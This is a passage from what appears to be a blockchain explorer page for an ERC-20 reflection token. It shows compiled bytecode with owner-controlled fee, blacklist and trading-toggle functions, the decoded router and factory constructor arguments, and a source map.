ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e6b57611e27600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fb565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611f87613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612047576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612059575060318111155b6120cb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20343900000000000081525060200191505060405180910390fd5b8060128190555050565b6120dd613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461219d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b612249613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612309576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b612430613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6125a9613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612669576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612786576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f6f776e6572206973207a65726f2061646472657373000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6127f2613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61290d600c54600460006128c4613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b60046000612919613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a705780601f10612a4557610100808354040283529160200191612a70565b820191906000526020600020905b815481529060010190602001808311612a5357829003601f168201915b5050505050905090565b6000612b3d612a87613129565b84612b38856040518060600160405280602581526020016142e46025913960056000612ab1613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b613131565b6001905092915050565b612b4f613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612c21575060318111155b612c93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6d61726b6574696e674665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060138190555050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000612cdb612cd4613129565b8484613328565b6001905092915050565b612ced613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612e10613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ed0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015612ee2575060318111155b612f54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f6c69717569646974794665652073686f756c6420626520696e2031202d20313181525060200191505060405180910390fd5b8060148190555050565b6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080831415613022576000905061308f565b600082840290508284828161303357fe5b041461308a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806141a56021913960400191505060405180910390fd5b809150505b92915050565b60006130d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c78565b905092915050565b600061312183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613a8a565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142606024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561323d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806141316022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156133ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061423b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613434576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806140e46023913960400191505060405180910390fd5b6000811161348d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806141ee6029913960400191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061352e5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156135855760008114613584576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b60011515600a60009054906101000a900460ff16151514806135d957506135aa6129af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061361657506135e76129af565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15613a2057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156136be5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156138715761372f8160405180606001604052806026815260200161415360269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137c481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3613a1b565b6138dd8160405180606001604052806026815260200161415360269139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061397281600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b613a85565b60011515600a60009054906101000a900460ff16151514613a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b505050565b6000838311158290613b37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613afc578082015181840152602081019050613ae1565b50505050905090810190601f168015613b295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000806000613b57613d3e565b91509150613b6e818361309590919063ffffffff16565b9250505090565b600080828401905083811015613bf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000806000806000806000806000613c2e8a601254613c29601454601354613b7590919063ffffffff16565b613fef565b9250925092506000613c3e613b4a565b90506000806000613c508e8786614085565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60008083118290613d24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613ce9578082015181840152602081019050613cce565b50505050905090810190601f168015613d165780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613d3057fe5b049050809150509392505050565b6000806000600b549050600069152d02c7e14af6800000905060005b600980549050811015613fa257826002600060098481548110613d7957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613e605750816003600060098481548110613df857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613e7f57600b5469152d02c7e14af680000094509450505050613feb565b613f086002600060098481548110613e9357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846130df90919063ffffffff16565b9250613f936003600060098481548110613f1e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836130df90919063ffffffff16565b91508080600101915050613d5a565b50613fc269152d02c7e14af6800000600b5461309590919063ffffffff16565b821015613fe257600b5469152d02c7e14af6800000935093505050613feb565b81819350935050505b9091565b60008060008061401b606461400d888a61300f90919063ffffffff16565b61309590919063ffffffff16565b905060006140456064614037888b61300f90919063ffffffff16565b61309590919063ffffffff16565b9050600061406e87614060858c6130df90919063ffffffff16565b6130df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061409e858861300f90919063ffffffff16565b905060006140b5868861300f90919063ffffffff16565b905060006140cc82846130df90919063ffffffff16565b90508281839550955095505050509350935093905056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20746f74616c20316539536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573736e756d546f6b656e7353656c6c546f416464546f4c69717569646974792073686f756c642062652067726561746572207468616e20746f74616c2031653957652063616e206e6f74206578636c75646520556e697377617020726f757465722e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200b8277c9cd75698fd05fed988c68ca0f478c2c13d7f5a968c869604e9ba78a7364736f6c63430007000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f


Deployed Bytecode Sourcemap

23256:19604:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25776:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26608:161;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27874:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;26053:95;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;42456:201;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;42139:309;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;26777:313;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;28772:253;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;42665:192;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;25962:83;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;29487:479;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;35137:134;;;;;;;;;;;;;:::i;:::-;;27098:218;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;29974;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28328:436;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;35280:92;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;29033:446;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;30840:123;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;41524:169;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;34911:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;26156:118;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15118:180;;;;;;;;;;;;;:::i;:::-;;34802:101;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;35019:110;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;30200:111;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14421:141;;;;;;;;;;;;;:::i;:::-;;27969:129;;;;;;;;;;;;;:::i;:::-;;27601:120;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;14248:79;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;25867:87;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27324:269;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;41701:211;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28222:98;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26282:167;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;27729:137;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;41920:211;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28110:100;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;26457:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;25776:83;25813:13;25846:5;25839:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25776:83;:::o;26608:161::-;26683:4;26700:39;26709:12;:10;:12::i;:::-;26723:7;26732:6;26700:8;:39::i;:::-;26757:4;26750:11;;26608:161;;;;:::o;27874:87::-;27916:7;27943:10;;27936:17;;27874:87;:::o;26053:95::-;26106:7;23933:23;26126:14;;26053:95;:::o;42456:201::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42557:5:::1;42542:11;:20;;42534:78;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42638:11;42623:12;:26;;;;42456:201:::0;:::o;42139:309::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42294:5:::1;42261:29;:38;;42253:114;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42411:29;42378:30;:62;;;;42139:309:::0;:::o;26777:313::-;26875:4;26892:36;26902:6;26910:9;26921:6;26892:9;:36::i;:::-;26939:121;26948:6;26956:12;:10;:12::i;:::-;26970:89;27008:6;26970:89;;;;;;;;;;;;;;;;;:11;:19;26982:6;26970:19;;;;;;;;;;;;;;;:33;26990:12;:10;:12::i;:::-;26970:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;26939:8;:121::i;:::-;27078:4;27071:11;;26777:313;;;;;:::o;28772:253::-;28838:7;28877;;28866;:18;;28858:73;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28942:19;28965:10;:8;:10::i;:::-;28942:33;;28993:24;29005:11;28993:7;:11;;:24;;;;:::i;:::-;28986:31;;;28772:253;;;:::o;42665:192::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42747:45:::1;42764:4;42771:7;:5;:7::i;:::-;42780:11;42747:8;:45::i;:::-;42803:46;42821:4;42828:7;:5;:7::i;:::-;42837:11;42803:9;:46::i;:::-;42665:192:::0;:::o;25962:83::-;26003:5;26028:9;;;;;;;;;;;26021:16;;25962:83;:::o;29487:479::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29569:11:::1;:20;29581:7;29569:20;;;;;;;;;;;;;;;;;;;;;;;;;29561:60;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;29637:9;29632:327;29656:9;:16;;;;29652:1;:20;29632:327;;;29714:7;29698:23;;:9;29708:1;29698:12;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;29694:254;;;29757:9;29786:1;29767:9;:16;;;;:20;29757:31;;;;;;;;;;;;;;;;;;;;;;;;;29742:9;29752:1;29742:12;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;29826:1;29807:7;:16;29815:7;29807:16;;;;;;;;;;;;;;;:20;;;;29869:5;29846:11;:20;29858:7;29846:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;29893:9;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29927:5;;29694:254;29674:3;;;;;;;29632:327;;;;29487:479:::0;:::o;35137:134::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35219:4:::1;35209:14;;:6;;;;;;;;;;;:14;;;35205:59;;;35235:5;35226:6;;:14;;;;;;;;;;;;;;;;;;35205:59;;;35258:4;35249:6;;:13;;;;;;;;;;;;;;;;;;35205:59;35137:134::o:0;27098:218::-;27186:4;27203:83;27212:12;:10;:12::i;:::-;27226:7;27235:50;27274:10;27235:11;:25;27247:12;:10;:12::i;:::-;27235:25;;;;;;;;;;;;;;;:34;27261:7;27235:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;27203:8;:83::i;:::-;27304:4;27297:11;;27098:218;;;;:::o;29974:::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30069:42:::1;30058:53;;:7;:53;;;;30050:102;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30180:4;30163:5;:14;30169:7;30163:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;29974:218:::0;:::o;28328:436::-;28418:7;23933:23;28446:7;:18;;28438:62;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28516:17;28511:246;;28551:15;28575:19;28586:7;28575:10;:19::i;:::-;28550:44;;;;;;;28616:7;28609:14;;;;;28511:246;28658:23;28689:19;28700:7;28689:10;:19::i;:::-;28656:52;;;;;;;28730:15;28723:22;;;28328:436;;;;;:::o;35280:92::-;35334:4;35358:6;;;;;;;;;;;35351:13;;35280:92;:::o;29033:446::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29128:42:::1;29117:53;;:7;:53;;;;29109:100;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29229:11;:20;29241:7;29229:20;;;;;;;;;;;;;;;;;;;;;;;;;29228:21;29220:61;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;29314:1;29295:7;:16;29303:7;29295:16;;;;;;;;;;;;;;;;:20;29292:108;;;29351:37;29371:7;:16;29379:7;29371:16;;;;;;;;;;;;;;;;29351:19;:37::i;:::-;29332:7;:16;29340:7;29332:16;;;;;;;;;;;;;;;:56;;;;29292:108;29433:4;29410:11;:20;29422:7;29410:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;29448:9;29463:7;29448:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29033:446:::0;:::o;30840:123::-;30904:4;30928:18;:27;30947:7;30928:27;;;;;;;;;;;;;;;;;;;;;;;;;30921:34;;30840:123;;;:::o;41524:169::-;14704:12;:10;:12::i;:::-;14694:22;;:6;;;;;;;;;;:22;;;14686:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41610:1:::1;41600:6;:11;;:27;;;;;41625:2;41615:6;:12;;41600:27;41592:66;;;;;